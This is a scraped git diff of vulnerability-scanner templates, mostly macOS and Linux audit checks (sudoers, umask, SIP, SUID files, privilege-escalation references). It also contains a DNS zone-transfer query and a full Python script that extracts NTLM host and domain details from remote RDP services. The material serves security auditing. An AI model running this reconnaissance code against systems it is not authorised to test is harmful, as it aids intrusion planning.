remediation: |
|
||||
Set the sudo timestamp to a reasonable value to reduce the risk of unauthorized access.
|
||||
tags: macos,audit,local,security,sudo
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
grep -E "^Defaults.*timestamp_timeout=" /etc/sudoers
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "timestamp_timeout=([1-9][0-9]{2,})"
|
||||
# digest: 4a0a00473045022056c70c9e83ca5b06dfd2d6f37d3fac472448c1684e5513de20f012e1c6d79207022100fa6c9d279661d23106d9c0c878ae249adb35cd312d45c18c3f9a6f098d8bf186:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,32 +0,0 @@
|
||||
id: insecure-sudoers-permissions
|
||||
|
||||
info:
|
||||
name: macOS Insecure /etc/sudoers Permissions
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Audits permissions on the /etc/sudoers file that defines which users can run commands with root privileges on macOS.
|
||||
impact: |
|
||||
Insecure permissions on /etc/sudoers could allow unauthorized users to modify the file and grant themselves root privileges.
|
||||
remediation: |
|
||||
Ensure that the /etc/sudoers file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0440 or more restrictive.
|
||||
tags: macos,audit,local,security,sudo
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
ls -l /etc/sudoers 2>&1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
- type: regex
|
||||
regex:
|
||||
- "^-r--r-----\\s+\\d+\\s+root\\s+\\w+"
|
||||
negative: true
|
||||
# digest: 4b0a0048304602210097a287244d9ed09ffb331116f32802392d11aaa8fb0213fc39c35c24166d8beb022100bd0f5ae8e37b1081db8f56616615959457283c1558406ddcb720f041b2aaa582:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: insecure-tty-permissions
|
||||
|
||||
info:
|
||||
name: macOS World-Readable TTY Devices
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Checks if TTY devices are readable by all users, potentially allowing session snooping.
|
||||
impact: |
|
||||
If TTYs are readable by all users, it may be possible for an attacker to sniff sensitive information from other users' sessions.
|
||||
remediation: |
|
||||
Ensure that TTYs are not readable by all users.
|
||||
tags: macos,audit,local,security,tty
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
ls -l /dev/tty*
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "crw-rw-rw-.*"
|
||||
# digest: 4a0a00473045022100e4abc01b85856b24dcdfa381e0bd89e145134b9bc22ca800b319461178c681740220239dac32ccb77f5a93dacc9aade8a0607f2f3fe0817dd862557c49551ef40cea:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,28 +0,0 @@
|
||||
id: insecure-umask
|
||||
|
||||
info:
|
||||
name: macOS Permissive Umask Configuration
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Verifies if the umask is configured with overly permissive values that create insecurely accessible files.
|
||||
impact: |
|
||||
A permissive umask can result in new files being created with world-writable permissions, which can be a security risk.
|
||||
remediation: |
|
||||
Set the umask to a more restrictive value to ensure that new files are created with secure permissions.
|
||||
tags: macos,audit,local,security,umask
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
umask
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "^0?0[0-2][0-7]$"
|
||||
negative: true
|
||||
# digest: 4b0a00483046022100c69d262b8d1b34e76e3555fcdba1fae77480c154bd0e30ba8b0acb7e0ed03e3b022100d2c19fc4e134aa384f4498467fe35d921684fe767e0d2948c4f4066cc8491723:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: sip-disabled
|
||||
|
||||
info:
|
||||
name: macOS System Integrity Protection (SIP) Disabled
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Validates whether System Integrity Protection (SIP) is disabled, removing critical restrictions on system modifications.
|
||||
impact: |
|
||||
Disabling SIP significantly weakens the security of the system, making it more vulnerable to malware and unauthorized modifications.
|
||||
remediation: |
|
||||
Enable System Integrity Protection (SIP) to protect the system from unauthorized modifications.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
csrutil status
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "System Integrity Protection status: disabled."
|
||||
# digest: 4b0a00483046022100a9c95ce47a76fc6365a0b50b12e67d6d2da2a2faecd59065b1b0ded05df9ebc9022100a6877fd0ebd4f9c2a736f424a6a383ce72760683f1fd31826405e1f05e945676:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,32 +0,0 @@
|
||||
id: ssh-service-running
|
||||
|
||||
info:
|
||||
name: macOS SSH Service Running
|
||||
author: geeknik
|
||||
severity: info
|
||||
description: |
|
||||
Checks if the SSH service (Remote Login) is running on the macOS system.
|
||||
impact: |
|
||||
While not a vulnerability in itself, a running SSH service can be a potential attack vector if not properly configured and secured.
|
||||
remediation: |
|
||||
Disable the SSH service if it is not needed. If it is required, ensure that it is properly configured with strong passwords and key-based authentication.
|
||||
tags: macos,audit,local,security,ssh
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
launchctl print system/com.openssh.sshd 2>&1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
- type: word
|
||||
words:
|
||||
- "state = running"
|
||||
- "com.openssh.sshd"
|
||||
# digest: 4a0a00473045022053ce4877c2b6dd468f675d1170e575f39b925e2aa4deeeec03b1a0ed80e322cc022100de4617540a86bac57c234caa4f163cb06390cd4e5915dd8b8bbb7c835b10d873:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,28 +0,0 @@
|
||||
id: suid-sgid-files
|
||||
|
||||
info:
|
||||
name: macOS SUID/SGID Files Detection
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Discovers files with SUID or SGID permissions in user-writable directories (/usr/local, /opt, /Applications) that could be exploited for privilege escalation if misconfigured or vulnerable.
|
||||
impact: |
|
||||
Misconfigured SUID/SGID executables in user-writable directories can be exploited by local users to gain elevated privileges.
|
||||
remediation: |
|
||||
Review the list of SUID/SGID files and remove the permissions if they are not necessary.
|
||||
tags: macos,audit,local,security,privesc
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
find /usr/local /opt /Applications -perm -4000 -o -perm -2000 -type f -ls 2>/dev/null
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "^-rws.*"
|
||||
- "^-..s.*"
|
||||
# digest: 4b0a00483046022100dd30985f866765efba07fa5b717ba0293926c4eac8375acdb63235ac56712901022100f2217c9a5f0f16219fe49d888b8195944c5095e3680dd822cbb3dbe840d9a3f0:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,34 +0,0 @@
|
||||
id: dns-axfr-enabled
|
||||
|
||||
info:
|
||||
name: DNS Zone Transfer Check (AXFR)
|
||||
author: matejsmycka
|
||||
severity: medium
|
||||
description: |
|
||||
Checks if particular domain can be queried via DNS Zone Transfer (AXFR). An open zone transfer can disclose all DNS records for a zone, leading to information leakage.
|
||||
reference:
|
||||
- https://beaglesecurity.com/blog/vulnerability/dns-zone-transfer.html
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: port:53
|
||||
tags: dns,tcp,axfr,code
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
domain=$Host
|
||||
dig axfr $domain @$(dig $domain ns +short | head -n1)
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- 'XFR size: [1-9][0-9]* records?'
|
||||
condition: and
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
regex:
|
||||
- 'SOA\s+([^\s]+)'
|
||||
group: 1
|
||||
# digest: 4a0a004730450220035a0e8c35c138a76af730a8b2beba052efc136bfedf13160598e9d360c3853c0221008a598f55b7c84f2ac2dbc10e1831976297c3b5cfec55eaa95ddfde27e0fd62cc:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,8 +6,8 @@ info:
|
||||
severity: high
|
||||
description: |
|
||||
The term "pexec" typically refers to the "privileged execution" of a command or program.
|
||||
reference:
|
||||
- https://gtfobins.github.io/gtfobins/pexec/
|
||||
reference: |
|
||||
https://gtfobins.github.io/gtfobins/pexec/
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 3
|
||||
@@ -46,4 +46,4 @@ code:
|
||||
- 'contains(code_2_response, "root")'
|
||||
- 'contains(code_3_response, "root")'
|
||||
condition: or
|
||||
# digest: 4a0a00473045022100de37bdf596ffb4626b12296c771186fec148695b0eddf24491a7861479a76d6a022033304a3c5d01e3f2037c9f35445b551dd13f1344c828348c59972410e6b5b1f4:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a004730450221009edb614e28a065546cc8fafe7499dcfbffc2d5635ea4dfcdd9cb6aa61a7b664f022012a2c7395c97ef6db907e2e171073c5654f2cf5c48c7e29c5487b3429f174282:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,8 +6,7 @@ info:
|
||||
severity: high
|
||||
description: |
|
||||
The run-parts command in Linux is used to run all the executable files in a directory. It is commonly used for running scripts or commands located in a specific directory, such as system maintenance scripts in /etc/cron.daily. The run-parts command provides a convenient way to execute multiple scripts or commands in a batch manner.
|
||||
reference:
|
||||
- https://gtfobins.github.io/gtfobins/run-parts/
|
||||
reference: https://gtfobins.github.io/gtfobins/run-parts/
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 3
|
||||
@@ -46,4 +45,4 @@ code:
|
||||
- 'contains(code_2_response, "root")'
|
||||
- 'contains(code_3_response, "root")'
|
||||
condition: or
|
||||
# digest: 4b0a00483046022100b45cb313219a24e71be199e7965444e8eae74df5d45845795d2ae512636cd45602210091d4f511f1df6a3c3aa0902004aa7a82bb389ac64628a877ac785feca59559e6:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502203c27143ba06ddc09168f9b472e4bb6ebda812ba9bef6bfe56aa200aa59f8b96a022100a9c9bac8a191a714b64848b444f9100ccb89420961c5d53377e1278b3942e51a:922c64590222798bb761d5b6d8e72950
|
||||
@@ -5,8 +5,7 @@ info:
|
||||
author: daffainfo
|
||||
severity: high
|
||||
reference:
|
||||
- https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#passwdshadow-files
|
||||
- https://man7.org/linux/man-pages/man5/shadow.5.html
|
||||
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-etc-shadow
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 2
|
||||
@@ -43,4 +42,4 @@ code:
|
||||
words:
|
||||
- "Not readable and not writable"
|
||||
negative: true
|
||||
# digest: 490a0046304402207974e0cc03df2c2f1939ed4abd700a9662e8ff35d9b5cad24208b6df3171a25402206d0c24abe4e2825e256bea8295182d242d4c39417906c01b9e000ba724250801:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100eb188c9515d521fa04359befea4e72a984d0fb008f92fedb7026fbdf0e3cb93b02200b58a0d7ff63a300b598ceaeed8bf03e78c1a78ce63472fdf6c526a07814e53c:922c64590222798bb761d5b6d8e72950
|
||||
@@ -5,7 +5,7 @@ info:
|
||||
author: daffainfo
|
||||
severity: high
|
||||
reference:
|
||||
- https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html?highlight=%2Fetc%2Fsudoers#etcsudoers-etcsudoersd
|
||||
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation#etc-sudoers-etc-sudoers.d
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 2
|
||||
@@ -42,4 +42,4 @@ code:
|
||||
words:
|
||||
- "Not readable and not writable"
|
||||
negative: true
|
||||
# digest: 4a0a0047304502204b486f9634aee66597295d7afdc3039538318a8c75cc91e4995945afc621e91f022100bd4700f836ab41d9fa788d3608ec37a8b4df3acd1984170a14b15438eaa1ef60:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a004630440220058488f0abb109eeda0bb09699d34242875b4af49c51688db2197fd166f508e0022048ed2cfffb8b7b256a3eb1710ebf6a77dc391cc0d20314008b321708803f4881:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,7 +6,7 @@ info:
|
||||
severity: high
|
||||
description: Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password.
|
||||
reference:
|
||||
- https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#nopasswd
|
||||
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation#nopasswd
|
||||
metadata:
|
||||
verified: true
|
||||
tags: code,linux,sudo,privesc,local
|
||||
@@ -24,4 +24,4 @@ code:
|
||||
part: code_1_response
|
||||
words:
|
||||
- "(root) NOPASSWD:"
|
||||
# digest: 4b0a00483046022100fc332830334e18132f3b3ba33a57c0d646f7b4ec9fb6a83849c70aa877efffe2022100c780fc0fccad8542da4cca4eaa21c354115cb95d6c3fa910fb5ce6c55821d829:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502203fed09936acd0184f8239fbd5bfd5caea9650d83284dd7ad0e33f40af198b873022100b17205cf173f893e2d803afa4c1049bf300c329e2830b439cecbbb679cd11f07:922c64590222798bb761d5b6d8e72950
|
||||
@@ -5,7 +5,7 @@ info:
|
||||
author: daffainfo
|
||||
severity: high
|
||||
reference:
|
||||
- https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-etcpasswd
|
||||
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-etc-passwd
|
||||
metadata:
|
||||
verified: true
|
||||
tags: code,linux,privesc,local
|
||||
@@ -29,4 +29,4 @@ code:
|
||||
words:
|
||||
- "Not writable"
|
||||
negative: true
|
||||
# digest: 490a0046304402200a2dcfb2eaea839565816d82dd85b66ba2456dbbe04b3f5571d026c605a94f9c02202f0547ac07c1d33f571cbde87705304d77846d67c120b2b983502fa275396a5f:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502202a84729e697bff2f8aaf482cfe72f81d230d56c185f9f05365bed72563035d61022100b5682ab9d4331a9d97563cd593b7f3b752ad3c4a99dc5c0287b9eb9f18db9ede:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,112 +0,0 @@
|
||||
id: rdp-ntlm-info
|
||||
|
||||
info:
|
||||
name: RDP - NTLM Information Disclosure
|
||||
author: matejsmycka
|
||||
severity: info
|
||||
description: |
|
||||
The enumeration gathered NTLM-related information from remote RDP services with Network Level Authentication (NLA) enabled. By sending an incomplete authentication request, it disclosed details such as the target’s NetBIOS and DNS names, domain, product version, and system time, which proved useful for network reconnaissance and asset profiling.
|
||||
reference:
|
||||
- https://nmap.org/nsedoc/scripts/rdp-ntlm-info.html
|
||||
- https://svn.nmap.org/nmap/scripts/rdp-ntlm-info.nse
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
tags: code,rdp,ntlm,info,enum,discovery
|
||||
|
||||
variables:
|
||||
PORT: 3389
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
|
||||
source: |
|
||||
|
||||
import socket
|
||||
import ssl
|
||||
import struct
|
||||
import os
|
||||
from datetime import datetime, timezone
|
||||
|
||||
RDP_HOST, RDP_PORT = os.getenv('Host'), int(os.getenv('PORT'))
|
||||
TIMEOUT = 5
|
||||
|
||||
NTLM_NEGOTIATE_BLOB = bytes.fromhex(
|
||||
"30 37 A0 03 02 01 60 A1 30 30 2E 30 2C A0 2A 04 28"
|
||||
"4e 54 4c 4d 53 53 50 00" # NTLMSSP signature
|
||||
"01 00 00 00" # Type 1: Negotiate
|
||||
"B7 82 08 E2" # Flags
|
||||
"00 00" # DomainNameLen
|
||||
"00 00" # DomainNameMaxLen
|
||||
"00 00 00 00" # DomainNameBufferOffset
|
||||
"00 00" # WorkstationLen
|
||||
"00 00" # WorkstationMaxLen
|
||||
"00 00 00 00" # WorkstationBufferOffset
|
||||
"0A 00 63 45 00 00 00 00 0F" # Version & NTLMRevision
|
||||
)
|
||||
|
||||
AV_PAIRS = {0x00:"EndOfList",0x01:"NetBIOS_ComputerName",0x02:"NetBIOS_DomainName",0x03:"DNS_ComputerName",0x04:"DNS_DomainName",0x05:"DNS_TreeName",0x07:"Timestamp"}
|
||||
|
||||
def parse_av_pairs(blob, offset, length):
|
||||
info, pos, end = {}, offset, offset + length
|
||||
while pos + 4 <= end:
|
||||
av_id, av_len = struct.unpack("<HH", blob[pos:pos+4])
|
||||
pos += 4
|
||||
if av_id == 0: break
|
||||
val = blob[pos:pos+av_len]; pos += av_len
|
||||
key = AV_PAIRS.get(av_id, f"Unknown_{av_id}")
|
||||
if av_id == 0x07 and av_len == 8:
|
||||
ft = struct.unpack("<Q", val)[0]
|
||||
#info[key] = datetime.fromtimestamp(ft/10_000_000-11644473600, tz=timezone.utc).isoformat()
|
||||
else:
|
||||
try: info[key] = val.decode("utf-16-le")
|
||||
except: info[key] = val.hex()
|
||||
return info
|
||||
|
||||
def parse_ntlm_challenge(blob):
|
||||
sig_idx = blob.find(b"NTLMSSP")
|
||||
if sig_idx == -1:
|
||||
return None
|
||||
blob = blob[sig_idx:]
|
||||
info = {}
|
||||
|
||||
try:
|
||||
if len(blob) < 12:
|
||||
return None
|
||||
if struct.unpack("<I", blob[8:12])[0] != 2:
|
||||
return None
|
||||
if len(blob) < 20:
|
||||
return None
|
||||
target_len = struct.unpack("<H", blob[12:14])[0]
|
||||
target_offset = struct.unpack("<I", blob[16:20])[0]
|
||||
if target_len > 0 and len(blob) >= target_offset + target_len:
|
||||
info["Target_Name"] = blob[target_offset:target_offset+target_len].decode("utf-16-le", errors="ignore")
|
||||
if len(blob) >= 48:
|
||||
av_len = struct.unpack("<H", blob[40:42])[0]
|
||||
av_offset = struct.unpack("<I", blob[44:48])[0]
|
||||
if av_len > 0 and len(blob) >= av_offset + av_len:
|
||||
info.update(parse_av_pairs(blob, av_offset, av_len))
|
||||
if len(blob) >= 52:
|
||||
info["Product_Version"] = f"{blob[48]}.{blob[49]}.{struct.unpack('<H', blob[50:52])[0]}"
|
||||
except Exception:
|
||||
return info
|
||||
return info
|
||||
|
||||
with socket.create_connection((RDP_HOST, RDP_PORT), timeout=TIMEOUT) as sock:
|
||||
context = ssl.create_default_context()
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
with context.wrap_socket(sock, server_hostname=RDP_HOST) as conn:
|
||||
conn.sendall(NTLM_NEGOTIATE_BLOB)
|
||||
response = conn.recv(8192)
|
||||
|
||||
parsed = parse_ntlm_challenge(response)
|
||||
print(parsed)
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- response
|
||||
# digest: 4b0a00483046022100ec99f270e12c09f16ebd91325522989dfa0d42503ae2b3fa47b4decb5f9391d7022100c71480a8bfc8e3cbcd2c188d39111b1abaaad4ae91c1990449cb8c6570590691:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1 +1 @@
|
||||
a8f8707a5ba704eb87ed0af91bf14b37
|
||||
0846b895b4238ed92feb3c25bcebd5cd
|
||||
Loaded 100 of 10135 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user